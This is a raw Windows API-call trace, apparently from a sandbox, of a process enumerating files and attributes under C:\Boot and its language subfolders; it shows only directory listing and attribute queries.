	[0239.871] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0239.872] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.872] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1
	[0239.872] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0239.872] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.872] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0239.873] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.873] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0)) returned 1
	[0239.873] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.873] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\en-US" (normalized: "c:\\boot\\resources\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0239.874] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US" (normalized: "c:\\boot\\resources\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.874] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0xc0000316f8 | out: lpFindFileData=0xc0000316f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0239.874] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.875] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1
	[0239.875] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.875] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0239.875] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.875] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031868 | out: lpFileInformation=0xc000031868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0)) returned 1
	[0239.876] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0239.876] GetFileAttributesExW (in: lpFileName="C:\\Boot\\bg-BG" (normalized: "c:\\boot\\bg-bg"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0239.876] CreateFileW (lpFileName="C:\\Boot\\bg-BG" (normalized: "c:\\boot\\bg-bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.876] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0239.877] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.877] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0239.877] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.877] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0239.878] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.878] GetFileAttributesExW (in: lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60)) returned 1
	[0239.878] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.879] GetFileAttributesExW (in: lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0)) returned 1
	[0239.885] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.885] GetFileAttributesExW (in: lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0)) returned 1
	[0239.889] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.889] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0239.889] CreateFileW (lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.889] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0239.890] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.890] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0239.890] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0239.890] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.890] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0239.890] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.890] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58)) returned 1
	[0239.891] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.891] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0239.891] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.891] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0239.902] CreateFileW (lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.902] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0239.902] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.903] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0239.903] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0239.903] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.903] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0239.903] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.903] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760)) returned 1
	[0239.903] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.945] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0239.946] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.946] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0239.946] CreateFileW (lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
